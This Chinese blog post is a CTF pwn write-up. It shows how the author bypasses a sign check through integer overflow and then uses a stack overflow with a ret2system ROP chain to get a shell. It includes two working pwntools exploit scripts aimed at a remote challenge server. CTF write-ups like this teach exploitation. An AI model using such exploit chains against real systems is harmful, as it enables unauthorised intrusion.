前言
看到好久没更新博客了,最近又刚好在学习pwn,那就补一篇WriteUP吧!
题目信息
解题过程
先check
64位程序,只开启了NX保护,直接上IDA静态分析
在main函数中发现了如下内容,我们大概翻译一下,程序会让你输入一个NUM,如果NUM是负数就让NUM=-NUM,如果是正数则NUM=NUM,然后判断NUM是否小于0,如果小于0就进入vuln函数,那么就让我们开始攻击吧
因为NUM是一个int类型的变量,所以它的上限为2^31-1,即2147483647,所以我们只需要让它为2147483648,它就会因为溢出变成-2147483648,而-2147483648小于0会取反,取反变为2147483648,但是2147483648依旧会溢出变为-2147483648,这里我们就可以过这个if进入vuln了
起个容器验证一下猜想,发现果然进入了vlun函数,那么就让我们分析vuln函数吧
这里有很明显的栈溢出漏洞,但是只有system(“ok!”)而没有system(/bin/sh),所以我们Shift+F12找一找有没有/bin/sh字符串
发现这里有一个,我们康一康
这样就拿到了/bin/sh的地址了,我们找一下plt_system的地址
Ok,大功告成,接下来就可以常规的64位ROP思路拿shell了捏!
先确定一下offset,这里buf到rbp的距离为0x20,所以offset=0x20+0x8,也就是offset=40
使用ROPgadget获取一下pop_edi,然后我们需要把/bin/sh传到edi寄存器中,并且把返回地址设置为system,实际上很好实现,只要让栈顶元素是/bin/sh就可以了,所以我们的ROP链应该如下:
payload = b'a' * offset + p64(pop_edi) + p64(binsh_addr) + p64(system_addr)
接下来就是脚本编写了,这部分没什么难度,直接贴exp了
from pwn import *
p = remote('114.67.175.224',13495)
p.sendline(b'2147483648')
p.recvuntil(b'Congratulations!')
p.sendline(b'a'*40+p64(0x401343)+p64(0x403500)+p64(0x401090))
p.interactive()
结果出现了意外,我们并不能成功拿到shell
那么我们修改一下system的地址,改用vuln函数里面的call system
也就是
from pwn import *
p = remote('114.67.175.224',13495)
p.sendline(b'2147483648')
p.recvuntil(b'Congratulations!')
p.sendline(b'a'*40+p64(0x401343)+p64(0x403500)+p64(0x4011F0))
p.interactive()
成功拿到flag
为什么换成vuln里面的call system就可以了呢?可能是栈对齐的问题吧,我也不清楚(
每日emo
【春风不解语,独做狮子吟。】